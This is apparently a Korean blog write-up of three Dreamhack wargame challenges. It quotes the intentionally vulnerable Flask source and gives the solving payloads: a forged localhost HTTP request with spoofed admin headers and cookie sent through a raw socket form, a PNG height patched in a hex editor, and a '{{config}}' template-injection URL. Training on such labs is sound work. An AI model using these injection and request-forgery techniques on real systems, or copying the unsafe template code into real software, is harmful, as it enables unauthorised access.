https://dreamhack.io/wargame/challenges/13
proxy-1
Raw Socket Sender가 구현된 서비스입니다. 요구하는 조건을 맞춰 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다. Reference Introduction of Webhacking
dreamhack.io
여기에 아무 데이터 값을 넣어보면
에러가 뜬다. 그래서 소스코드를 확인해보기로 했다.
#!/usr/bin/python3
from flask import Flask, request, render_template, make_response, redirect, url_for
import socket
app = Flask(__name__)
try:
FLAG = open('./flag.txt', 'r').read()
except:
FLAG = '[**FLAG**]'
@app.route('/')
def index():
return render_template('index.html')
@app.route('/socket', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('socket.html')
elif request.method == 'POST':
host = request.form.get('host')
port = request.form.get('port', type=int)
data = request.form.get('data')
retData = ""
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(3)
s.connect((host, port))
s.sendall(data.encode())
while True:
tmpData = s.recv(1024)
retData += tmpData.decode()
if not tmpData: break
except Exception as e:
return render_template('socket_result.html', data=e)
return render_template('socket_result.html', data=retData)
@app.route('/admin', methods=['POST'])
def admin():
if request.remote_addr != '127.0.0.1':
return 'Only localhost'
if request.headers.get('User-Agent') != 'Admin Browser':
return 'Only Admin Browser'
if request.headers.get('DreamhackUser') != 'admin':
return 'Only Admin'
if request.cookies.get('admin') != 'true':
return 'Admin Cookie'
if request.form.get('userid') != 'admin':
return 'Admin id'
return FLAG
app.run(host='0.0.0.0', port=8000)
socket 페이지에서 send 버튼을 누르면 host, port, data가 전송되고, admin 페이지는 전송된 패킷이 조건에 부합하면 FLAG 값을 띄워준다.
Host: 127.0.0.1
Port: 8000
Data:
POST /admin HTTP/1.1
Host: host1.dreamhack.games
User-Agent:Admin Browser
DreamhackUser:admin
Cookie:admin=true
userid=admin
가장 자주 쓰이는 포트 번호, host 주소를 입력한다.
이렇게 하면 id를 제외한 나머지는 통과다. 해당 에러는 POST 데이터 userid=admin 조건에 부합하지 않을때 나오는 메시지이고, 패킷을 전송하려면 헤더가 추가되어야 한다.
"Content-Type:application/x-www-form-urlencoded"
"Content-Length: {body 데이터의 길이}"
Host: 127.0.0.1
Port: 8000
Data:
POST /admin HTTP/1.1
Host: host1.dreamhack.games
User-Agent:Admin Browser
DreamhackUser:admin
Cookie:admin=true
Content-Type: application/x-www-form-urlencoded
Content-Length: 12
userid=admin
이렇게 하면 flag 값을 얻을 수 있다.
https://dreamhack.io/wargame/challenges/104
broken-png
Description 드림컴퍼니에서 디자이너로 일하는 드림이는 직장 동료에게 내일 사용해야 하는 드림뱅크의 홍보 이미지를 메일을 통해 전달 받았습니다. 하지만 이메일 전송 과정에서 문제가 발생해
dreamhack.io
문제 파일을 다운 받으면 이미지가 나오는데 dh 형식임을 보아 flag값이 숨겨져 있음을 알 수 있다. 사진이 다 안 나오고 잘려있는데 문제 제목이 broken png인 만큼 사진을 복구해야 한다고 생각했다. 우선 디지털 포렌식 스터디에서 사용했던 hxd를 통해 사진을 분석한다.
사진의 폭은 512, 높이는 256이다. 높이를 512로 바꿔주고 이미지 파일을 실행한다.
{
Length : 00 00 00 0D (13 byte),
Chunk Type : IHDR,
Chunk Data ( 13 byte ),
{
Width (4 byte),
Height (4 byte),
Bit depth (1 byte),
Color Type (1 byte),
Compression method (1 byte),
Filter method (1 byte),
Interlace method (1 byte),
}
CRC
}
그러면 flag값을 확인할 수 있다.
https://dreamhack.io/wargame/challenges/39
simple-ssti
존재하지 않는 페이지 방문시 404 에러를 출력하는 서비스입니다. SSTI 취약점을 이용해 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다. Reference Server-side Basic
dreamhack.io
SSTI는 Server-Side Template Injection의 약자이다. SSTI는 웹 애플리케이션에서 발생하는 보안 취약점 중 하나로, 서버 측 템플릿 엔진에서 사용자 입력을 잘못 처리하는 경우 발생할 수 있다. SSTI 공격은 주로 웹 애플리케이션의 템플릿 문법을 이용하여 서버 측 코드 실행을 유발하는 것을 목표로 한다. 공격자는 취약한 템플릿 구문을 삽입하여 서버의 템플릿 엔진이 이를 실행하도록 유도한다. 이를 통해 공격자는 서버의 환경 변수, 데이터베이스 접근, 파일 시스템 접근 등을 포함한 민감한 정보에 접근하거나 서버 측 코드를 임의로 실행할 수 있게 된다.
페이지 경로를 그대로 출력해주는 것 같다.
소스코드를 확인해보면
#!/usr/bin/python3
from flask import Flask, request, render_template, render_template_string, make_response, redirect, url_for
import socket
app = Flask(__name__)
try:
FLAG = open('./flag.txt', 'r').read()
except:
FLAG = '[**FLAG**]'
app.secret_key = FLAG
@app.route('/')
def index():
return render_template('index.html')
@app.errorhandler(404)
def Error404(e):
template = '''
<div class="center">
<h1>Page Not Found.</h1>
<h3>%s</h3>
</div>
''' % (request.path)
return render_template_string(template), 404
app.run(host='0.0.0.0', port=8000)
%(request.path) 를 통해 경로를 출력한다.
http://host1.dreamhack.games:/{{config}}
config 명령어를 통하면 경로의 secret_key에서 바로 flag 값이 나온다.